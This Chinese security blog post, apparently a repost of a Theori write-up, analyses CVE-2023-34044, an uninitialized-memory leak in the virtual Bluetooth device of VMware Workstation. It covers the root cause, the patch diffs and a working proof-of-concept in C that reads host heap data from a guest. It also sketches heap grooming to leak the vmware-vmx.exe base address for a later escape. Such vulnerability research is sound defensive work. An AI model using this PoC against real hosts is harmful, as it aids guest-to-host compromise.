N-days Chaining 漏洞利用分析 Part 4: VMware Workstation 信息泄露

admin 2024年7月15日15:45:47评论124 views字数 11852阅读39分30秒阅读模式

本文是 Chaining N-days 漏洞利用分析系列的第四篇。在这篇文章中,我们将介绍如何从客户机获取主机上运行的 VMware 进程中的关键信息。

该漏洞(CVE-2023-34044)由 Theori(@pr0ln)发现,是 @starlabs_sg 在温哥华 Pwn2Own 2023 中展示的 CVE-2023-20870 的变种,于 2023 年 10 月已得到修补。威胁情报服务 Fermium-252 自 2023 年 10 月起已提供了针对该漏洞的 PoC 和漏洞利用程序。

请注意,大部分解释都基于 VMware-workstation-full-17.0.2-21581411.exe 安装文件,且大部分符号是通过逆向获得的,因此可能存在不准确之处。

1 虚拟蓝牙设备

VMware Workstation 为虚拟机提供了多种访问主机设备的方法。如果主机上存在并启用了蓝牙接收器,VMware Workstation 会在客户机的虚拟 USB 控制器下自动添加一个基于 USB 的虚拟蓝牙设备。

与虚拟蓝牙(VBluetooth)设备功能相关的设置可在Setting - USB Controller - Share bluetooth device with the virtual machine中找到,默认情况下该功能已启用。上述设置也可以在客户机配置文件的 vmx 文件中找到。

usb.vbluetooth.startConnected = "TRUE"

如果客户操作系统是 Linux,则可使用 lsusb 命令找到 VBluetooth。

$ lsusb
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 004: ID 0e0f:0008 VMware, Inc. Virtual Bluetooth Adapter // <--- VBluetooth
Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

如果客户操作系统是 Windows,则可使用 pnputil 命令或设备管理器实用程序找到 VBluetooth 设备。

cmd> pnputil /enum-devices
Instance ID:                USBVID_0E0F&PID_0008�00650268328
Device Description:         Generic Bluetooth Adapter
Class Name:                 Bluetooth
Class GUID:                 {e0cbf06c-cd8b-4647-bb8a-263b43f0f974}
Manufacturer Name:          GenericAdapter
Status:                     Started
Driver Name:                bth.inf

Vbluetooth 设备实现中存在 CVE-2023-34044 和 CVE-2023-20869 漏洞,我们将在下一篇文章中介绍这两个漏洞。

2 分配 VBluetooth 设备的 USB 请求块(URB)

由于 VBluetooth 设备是作为 USB 类型的设备实现和提供的,因此客户操作系统可以使用 USB 请求块(URB)与之通信。根据用途的不同,URB 可分为用于控制设备、读/写设置的 Control URB 和用于发送/接收数据的 Bulk URB。

控制 URB 的结构如下。

struct urb_control{
  BYTE bmRequestType;   
  BYTE bRequest;
  WORD wValue;
  WORD wIndex;
  WORD wLength;
  char data[]
}

bmRequestType 是 endpoint_direction 和 request_type 之间进行 OR 运算的结果。endpoint_direction 定义了 URB 是从设备读取数据还是向设备写入数据,而 request_type 定义了请求的类型。例如,如果 bmRequestType 为 ENDPOINT_IN | REQUEST_TYPE_VENDOR,则 URB 可以读取供应商特别添加的配置数据值。

enum endpoint_direction {
  ENDPOINT_IN  = 0x80,
  ENDPOINT_OUT = 0x00,
};

bRequest 定义命令类型,wValuewIndex 和 data 用作命令参数。

enum request_type {
  REQUEST_TYPE_STANDARD =(0x00<<5),
  REQUEST_TYPE_CLASS    =(0x01<<5),
  REQUEST_TYPE_VENDOR   =(0x02<<5),
  REQUEST_TYPE_RESERVED =(0x03<<5),
};

USB 控制器收到 URB 后,会调用 VUsb_NewUrb 函数创建 vurb 类型的对象。vurb 对象存储接收到的 URB 的数据,并一直保留到该 URB 在虚拟或物理 USB 设备上得到处理。由于 vurb 对象的结构会因 USB 设备的类型而异,因此 VUsb_NewUrb 函数会在内部调用设备的 new_urb 处理程序来创建对象。参数length决定分配的大小,而分配的大小由接收到的 URB 总大小(urb_control(8) + wLength)决定。

  void __fastcall UHCI_UrbHandler(__int64 a1, VUsbPipe *a2){ // sub_1401F6860
  // ...
  length = nbytes + *(unsigned __int16 *)&urb_data.wlength;
  urb = VUsb_NewUrb(v2, 0i64, (unsigned int)length);
  urb->bufferLen = length;
  //...
}

vurb *__fastcall VUsb_NewUrb(VUsbPipe *urbpipe, __int64 num_packets_1, __int64 length)
{ // sub_14074EA70
// ...
urb_size = length;
// ...
if ( get_dev_max_urb > 0x9000 )
max_urbsize = get_dev_max_urb;
if ( urb_size > max_urbsize )
Panic("UsbDev: URB greater than the max allowed URB size.n");
_mm_lfence();
new_urb = (vurb *)urbpipe->dev->be->op->NewUrb(urbpipe->dev, num_packets, urb_size);
new_urb->status = -1;
new_urb->packets = new_urb->_packets;
new_urb->curdata = new_urb->data;
new_urb->streamID = 0;
// ...
return new_urb;
}

VBluetoothHCI_NewUrb 函数负责为 VBluetooth 设备分配 URB 对象。URB 对象存储设备、管道、状态信息和隔离 URB 数据的地址。URB 数据以名为 RBuf 的缓冲流类型分配。

N-days Chaining 漏洞利用分析 Part 4: VMware Workstation 信息泄露

VBluetoothHCI_RBufNew 函数调用 RBuf_New ,RBuf_New 内部调用 UtilSafeMalloc0 来分配大小为 a2 + 0x18 的缓冲区。UtilSafeMalloc0 内部调用了 malloc 函数。值得注意的是,分配的缓冲区大小由客户决定,且使用 malloc 分配的缓冲区不会被初始化。

  RBuf *__fastcall VBluetoothHCI_RBufNew(__int64 a1, unsigned int a2)
{// sub_14081BF70 
  return RBuf_New(*(_DWORD **)(a1 + 616), a2);
}

RBuf *__fastcall RBuf_New(_DWORD *a1, unsigned int a2)
{// sub_1408195A0
// ...
buf = (RBuf *)UtilSafeMalloc0(a2 + 0x18i64);
buf->refcnt = 0;
*(_QWORD *)&buf->refcnt = (unsigned __int64)(a2 & 0xFFFFFF) << 16;// length
buf->field_8 = 0i64;
buf->qword10 = a1;
// ....
return buf;
}

接着,它会将从 guest 收到的 URB 数据复制到已分配的 RBuf 中。若 URB 的方向是 ENDPOINT_IN,则拷贝的大小为 urb_control(8),这导致大小为 wLength 的缓冲区仍未初始化。

void __fastcall sub_1401F6860(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
  // ...
    v20 = urb->curdata;
    if ( v30 == 1 )
    {
      memcpy(v20, Src, (int)v14); // v14 == urb_control(8)
    }
    else
    {
      _mm_lfence();
      PhysMemReadSlow(&v29, 0i64, (int)v14, (char *)v20);
    }
    urb->curdata += (int)v14;
    goto LABEL_15;
  }
  // ...
}

3 提交 VBluetooth 设备的 USB 请求块(URB)

每个设备都有不同的提交函数,因为它们处理 URB 提交的方式各不相同。Vbluetooth 设备的 URB 提交由 VBluetoothHCI_SubmitUrb 函数处理。该提交函数在内部处理 URB,或将其传递给外部设备。

urb->actualLen 被初始化为 urb->bufferLen 的值,即一个客户机可控值,接着该值被用作客户机的响应数据大小。在 VMware Workstation 17.0.1 之前,除了 VUsbDevice_OpSubmitNonReqCtl 之外,actualLen 的值不会改变。因此,actualLen 始终等于 bufferLen

  __int64 __fastcall VBluetoothHCI_SubmitUrb(vurb *urb)
{// sub_140740F40 
  pipe = urb->pipe;
  bufferLen = urb->bufferLen;
  // ...
  urb->status = 0;
  urb->actualLen = bufferLen;
  endptAddr = pipe->endptAddr;
  if ( endptAddr ) {/**/} // Process Non Control URB
  if ( (data->bmRequestType & 0x60) == 0x20 )   // REQUEST_TYPE_CLASS 
  {
    sub_140819580(rbuf_1);
    rbuf_slice = RBuf_Slice(rbuf_1, 8u, urb->bufferLen - 8);
    endpoint = 0;
LABEL_8:
    rbuf = rbuf_slice;
    VBluetoothHCI_PacketOut(dev_1, endpoint, rbuf_slice);
    RBuf_DecRef(rbuf);
    return ((__int64 (__fastcall *)(vurb *))gUsblibClientCb->vusbCompleteUrb)(urb);
  }
  if ( VUsbDevice_OpSubmitNonReqCtl(urb) )
    return ((__int64 (__fastcall *)(vurb *))gUsblibClientCb->vusbCompleteUrb)(urb);

urb->actualLen = 8; // [1] Patch of CVE-2023-20870

if ( (data->bmRequestType & 0x60) != 0 )
goto LABEL_24;
v15 = data->bRequest; // LIBUSB_REQUEST_TYPE_STANDARD
if ( v15 == 9 )
{
if ( data->wValue <= 1u )
{
change_config((__int64)urb->pipe->dev, data->wValue);
if ( data->wValue )
VBluetoothHCI_Reset(dev_1);
return ((__int64 (__fastcall *)(_QWORD))gUsblibClientCb->vusbCompleteUrb)(urb);
}
goto LABEL_23;
}
if ( v15 != 11 )
{
LABEL_24: // LIBUSB_REQUEST_TYPE_VENDOR
urb->status = 4;
return ((__int64 (__fastcall *)(_QWORD))gUsblibClientCb->vusbCompleteUrb)(urb);
}
v16 = data->wIndex;
if ( !v16 )
{
if ( data->wValue )
urb->status = 3;
return ((__int64 (__fastcall *)(_QWORD))gUsblibClientCb->vusbCompleteUrb)(urb);
}
if ( v16 != 1 || data->wValue >= 6u )
LABEL_23:
urb->status = 3;
return ((__int64 (__fastcall *)(_QWORD))gUsblibClientCb->vusbCompleteUrb)(urb);
}

处理后的 URB 会返回客户机,并由 vusbCompleteUrb 处理程序清理。vusbCompleteUrb 处理程序会在内部调用 UHCI_UrbResponse 函数,接着调用 PhysMem_CopyToMemory,将大小为 actualLen 的 URB 数据复制到客户机的物理内存中。

char __fastcall UHCI_UrbResponse(__int64 a1, vurb *a2) { // sub_1401F77A0 
  // ....
      v11 = ((v10 >> 21) + 1) & 0x7FF;
      actualLen = v11;
      if ( v11 > urb->actualLen )
        actualLen = urb->actualLen;
      if ( actualLen )
      {
        if ( (_BYTE)v10 == 105 )
        {
          v13 = *((unsigned int *)v8 + 7);
          if ( !*((_DWORD *)v8 + 7) || !PhysMem_CopyToMemory((unsigned int)v13, (char *)urb->curdata, actualLen, 0, 6) )
          {
            Warning("UHCI: Bad %s pointer %#I64xn", "TDBuf", v13);
            *(_DWORD *)(a1 + 1640) = 160;
          }
        }
      }

在 VMware Workstation 17.0.2 补丁中,未在 VUsbDevice_OpSubmitNonReqCtl 中处理的 vurb 对象的 actualLen 被设置为 8,以防止向客户机传递未初始化的数据。

4 CVE-2023-34044 的根本原因

修复未初始化堆漏洞的最简单方法是在分配内存后对其进行初始化,或者使用内置的 calloc 函数自行完成初始化。然而 VMware 并没有这样做,因此漏洞并未完全修复。

接下来观察 URB 的请求类型为 REQUEST_TYPE_CLASS 的情况。此时,系统通过调用 RBuf_Slice 函数来切分缓冲区,并将切分后的缓冲区作为参数传递给 VBluetoothHCI_PacketOut 函数。注意,URB 并未作为参数传递,因此 actualLen 不会发生变化。

  __int64 __fastcall VBluetoothHCI_SubmitUrb(vurb *urb)
{// sub_140740F40 
  pipe = urb->pipe;
  bufferLen = urb->bufferLen;
  // ...
  urb->status = 0;
  urb->actualLen = bufferLen;
  endptAddr = pipe->endptAddr;
  if ( endptAddr ) {/**/} // Process Non Control URB
  if ( (data->bmRequestType & 0x60) == 0x20 )   // REQUEST_TYPE_CLASS 
  {
    sub_140819580(rbuf_1);
    rbuf_slice = RBuf_Slice(rbuf_1, 8u, urb->bufferLen - 8);
    endpoint = 0;
LABEL_8:
    rbuf = rbuf_slice;
    VBluetoothHCI_PacketOut(dev_1, endpoint, rbuf_slice);
    RBuf_DecRef(rbuf);
    return ((__int64 (__fastcall *)(vurb *))gUsblibClientCb->vusbCompleteUrb)(urb);
  }
  if ( VUsbDevice_OpSubmitNonReqCtl(urb) )
    return ((__int64 (__fastcall *)(vurb *))gUsblibClientCb->vusbCompleteUrb)(urb);

urb->actualLen = 8; // Patch of CVE-2023-20870
// ....
}

VBluetoothHCI_PacketOut 函数将控制 Control URB 传递给连接到主机的蓝牙设备。由于 Control URB 没有指定具体的端点,因此该 URB 调用 VBluetoothHCI_PacketOut_ControlVBluetoothHCI_PacketOut_Control 函数会验证作为参数传递的分片 rbuf,若 rbuf_length - 3 的结果大于 255,则立即返回警告。换句话说,若 wlength 大于 258,则 URB 数据将保持未初始化状态。

  void __fastcall VBluetoothHCI_PacketOut(VUsbDevice *dev, int endpoint, _QWORD *rbuf)
{// sub_14081BDA0
  if ( endpoint ) {/**/}
  else
  {
    VBluetoothHCI_PacketOut_Control((int64 *)dev, rbuf);
  }
}

void __fastcall VBluetoothHCI_PacketOut_Control(VUsbDevice *dev, RBuf *rbuf)
{// sub_14081AFF0
// ....
rbuf_length = RBuf_Length(rbuf);
rbuf_length_1 = rbuf_length;
if ( rbuf_length - 3 > 255 )
{
Warning("Bluetooth-HCI: ERROR, Bad command packet size (%d)n", rbuf_length);
return;
}
// ....p

5 CVE-2023-34044 补丁

通过对比 VMware Workstation 17.0.2 和 VMware Workstation 17.5.0,发现了以下修补程序。VMware 仍未消除漏洞出现的根本原因,反而通过将 URB 方向为 ENDPOINT_IN 和请求类型为 REQUEST_TYPE_CLASS 时的 actualLen 设置为 8 来修补漏洞。

__int64 __fastcall VBluetoothHCI_SubmitUrb(VUsbURB *urb)  // sub_1407A22A0 of VMWS 17.5.0
{
  // ...
  VUsbPipe = urb->VUsbPipe;
  total_urb_len = urb->total_urb_len;
  v4 = urb[-1].field_88;
  urb_data = (struct_urb_data *)urb->urb_data;
  v6 = *(_QWORD *)(VUsbPipe + 32);
  v7 = *(_QWORD *)(v6 + 608);
  urb->status = 0;
  urb->urb_actualsize = total_urb_len;
  endpt = *(_DWORD *)(VUsbPipe + 12);
  if ( endpt )
  {
    // ... 
  }
  if ( (urb_data->bmRequestType & VUSB_REQ_MASK) == REQUEST_TYPE_CLASS)
  {
+   if(urb_data->bmRequestType < 0 ) // ENDPOINT_IN
+     urb->actualLen = 8; 
    // ... 
    return gUsblibClientCb->VUsb_CompleteUrbAndContinue(urb);
  }
  if ( VUsbDevice_OpSubmitNonReqCtl((__int64)urb) )
    return gUsblibClientCb->VUsb_CompleteUrbAndContinue(urb);
  urb->urb_actualsize = 8; 
  if ( (urb_data->bmRequestType & 0x60) != 0 )
    goto LABEL_24;
  bRequest = urb_data->bRequest;
  if ( bRequest == VUSB_REQ_SET_CONFIGURATION )

VMware Workstation 17.5.1 和 ESXi 8.0U2sb-23305545 已完全删除了 URB 数据的单元化问题。通过比较 VMware Workstation 17.5.0 和 VMware Workstation 17.5.1,发现了以下补丁。该修补程序添加了一个函数调用,用于在控制器中分配 vurb 对象后将数据初始化为 0。

vurb *__fastcall VUsb_NewUrb(VUsbPipe *urbpipe, __int64 num_packets_1, __int64 length) 
{ // sub_1407B00D0 of VWWS 17.5.0
  urb = pipe->dev->be->op->NewUrb(pipe->dev, n_pakcet, bufferlen_1);
  urb_data = urb->data;
  urb->packets = urb->_packets;
  urb->curdata = &urb_data->bmRequestType;
  urb->status = -1;
  urb->streamID = 0;
  urb->pipe = pipe;
  *&urb->numPackets = 0i64;
  urb->allocLen = bufferlen_1;
  *&urb->bufferLen = 0i64;
  urb->stage = 0;
  urb->refCount = 1;
  type = pipe->type;
  urb->type = type;
  urb->endptAddr = pipe->endptAddr;
  urb->bePtr = pipe->dev->be;
  urb->_anon_0.statusPid = 0;
  urb->hcpriv = 0i64;
+  if ( !type && urb_data )
+    memset(urb_data, 0, bufferlen_1);
  urb->pipeLink.next = &urb->pipeLink;

6 利用

在 PoC 中,我们将演示如何从客户机读取未初始化的 URB 数据。

若要向 USB 设备发送任意 URB,可以编写自己的过滤驱动程序或使用库。其中一个库 libusb-win32 包含一个签名驱动程序和库,可轻松生成 URB 并将其发送到目标设备。

以下代码向 VBluetooth 设备发送了一个类型为 USB_TYPE_CLASS | USB_ENDPOINT_IN 的 URB,从而触发漏洞并读取主机的未初始化堆内存。由于 URB 数据的分配大小为 urb_control(8) + wLength + 0x18,我们需要将 wLength 值设置为 0xfe0,以便读取 0x1000 字节的未初始化数据块。请求和其他参数设置为任意值,因为它们与漏洞无关。usb_control_msg 函数成功执行后,outbuf 将包含主机的未初始化堆数据。

  #include <lusb0_usb.h>

usb_dev_handle* open_dev(WORD VID, WORD UID){
struct usb_bus* bus;
struct usb_device* dev;

for (bus = usb_get_busses(); bus; bus = bus->next){
for (dev = bus->devices; dev; dev = dev->next){
if (dev->descriptor.idVendor == VID
&& dev->descriptor.idProduct == UID){
return usb_open(dev);
}
}
}
return NULL;
}

void readUnitMemory() {
usb_dev_handle* dev_mouse = NULL;
usb_dev_handle* dev_bt = NULL;
UINT64 vmx_base = 0;
int i, j;

char outbuf[0x1000];
memset(outbuf, 0, 0x1000);

usb_init(); /* initialize the library */
usb_find_busses(); /* find all busses */
usb_find_devices(); /* find all connected devices */

if ((dev_bt = open_dev(0x0E0F, 0x0008)) == NULL){
printf(" [!] Error opening bluetooth device: n%sn", usb_strerror());
return 0;
}

usb_control_msg(
dev_bt,
USB_TYPE_CLASS | USB_ENDPOINT_IN,
USB_REQ_GET_STATUS, 0, 0,
outbuf,
0xFE0, // 0x1000 - 0x18 - 8
1000);

usb_close(dev_bt);
}

要利用 CVE-2023-20869 漏洞,必须知道主机进程 vmware-vmx.exe 的基地址。为了在 vmware-vmx.exe 进程中分配任意大小的堆内存,我们使用了 USB 虚拟鼠标设备的 URB 分配功能。

与 VBluetooth 设备的 URB 分配器不同,VUsbMouse 和 VUsbHub 的 URB 分配器不会隔离 URB 数据,而是将其存储在 vurb 对象中。vurb 对象包含 vmware-vmx.exe 的数据部分地址,因此可以从中计算出 vmware-vmx.exe 的基地址。

vurb *__fastcall VUsb_NewUrbWithBuf(__int64 a1, unsigned int a2, unsigned int legnth)
{ // sub_1407593C0 
  __int64 v3; // rbx
  vurb *new_urb; // rax

v3 = a2;
new_urb = (vurb *)UtilSafeMalloc0(v3 * 12 + legnth + 152i64);
new_urb->be = (UrbBackEnd *)&qword_14132C3B0; // data section address
new_urb->data = (unsigned __int8 *)&new_urb->_packets[v3];
return new_urb;
}

传送一个 wLength 受控制的 URB 到 VUsbMouse 设备,并在其处理时创建一个已释放的任意大小堆栈,其中包含 vmware-vmx.exe 的数据区地址。若将 VBluetooth 设备的 URB 重新分配给释放的堆块并通过漏洞读取,则 vmware-vmx.exe 的地址可被读取。

包括 PoC 和漏洞利用代码的更多详细信息,请参阅 Fermium-252:网络威胁情报数据库。

7 总结

本帖提供了对第一部分利用漏洞 CVE-2023-34044 的分析。下一篇文章将介绍在 Pwn2Own Vancouver 2023 中被利用的 VMware Workstation guest-to-host 代码执行(CVE-2023-20869)。

8 参考链接

  • https://www.zerodayinitiative.com/blog/2023/5/17/cve-2023-2086920870-exploiting-vmware-workstation-at-pwn2own-vancouver

     

来源:【N-days Chaining 漏洞利用分析 Part 4:VMware Workstation 信息泄露 (seebug.org)

来源:【Chaining N-days to Compromise All: Part 4 — VMware Workstation Information leakage】

原文始发于微信公众号(船山信安):N-days Chaining 漏洞利用分析 Part 4: VMware Workstation 信息泄露

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月15日15:45:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   N-days Chaining 漏洞利用分析 Part 4: VMware Workstation 信息泄露https://cn-sec.com/archives/2922738.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息